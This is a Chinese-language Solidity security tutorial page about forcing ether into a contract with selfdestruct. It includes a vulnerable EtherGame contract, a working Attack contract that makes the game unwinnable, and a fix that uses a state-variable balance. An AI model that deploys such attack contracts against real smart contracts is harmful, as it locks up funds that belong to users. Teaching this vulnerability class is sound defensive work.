forked from dukedaily/solidity-expert
-
Notifications
You must be signed in to change notification settings - Fork 0
/
03_合约自杀.md
102 lines (74 loc) · 2.63 KB
/
03_合约自杀.md
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
# 第3节:Self Destruct
合约自杀时,会将合约自身持有的ether全部转入到指定地址之中。
如果某个合约使用了balance方法来进行校验时,有可能会出现攻击漏洞。
```js
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
// The goal of this game is to be the 7th player to deposit 1 Ether.
// Players can deposit only 1 Ether at a time.
// Winner will be able to withdraw all Ether.
/*
1. Deploy EtherGame
2. Players (say Alice and Bob) decides to play, deposits 1 Ether each.
2. Deploy Attack with address of EtherGame
3. Call Attack.attack sending 5 ether. This will break the game
No one can become the winner.
What happened?
Attack forced the balance of EtherGame to equal 7 ether.
Now no one can deposit and the winner cannot be set.
*/
contract EtherGame {
uint public targetAmount = 7 ether;
address public winner;
function deposit() public payable {
require(msg.value == 1 ether, "You can only send 1 Ether");
uint balance = address(this).balance;
require(balance <= targetAmount, "Game is over");
if (balance == targetAmount) {
winner = msg.sender;
}
}
function claimReward() public {
require(msg.sender == winner, "Not winner");
(bool sent, ) = msg.sender.call{value: address(this).balance}("");
require(sent, "Failed to send Ether");
}
}
contract Attack {
EtherGame etherGame;
constructor(EtherGame _etherGame) {
etherGame = EtherGame(_etherGame);
}
function attack() public payable {
// You can simply break the game by sending ether so that
// the game balance >= 7 ether
// cast address to payable
address payable addr = payable(address(etherGame));
selfdestruct(addr);
}
}
```
解决方案:
不要依赖address(this).balance来进行校验
```js
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
contract EtherGame {
uint public targetAmount = 3 ether;
uint public balance;
address public winner;
function deposit() public payable {
require(msg.value == 1 ether, "You can only send 1 Ether");
balance += msg.value; //<<== 通过状态变量来统计ether,此时及时合约自杀传入ether,也不会干扰条件判断逻辑。
require(balance <= targetAmount, "Game is over");
if (balance == targetAmount) {
winner = msg.sender;
}
}
function claimReward() public {
require(msg.sender == winner, "Not winner");
(bool sent, ) = msg.sender.call{value: balance}("");
require(sent, "Failed to send Ether");
}
}
```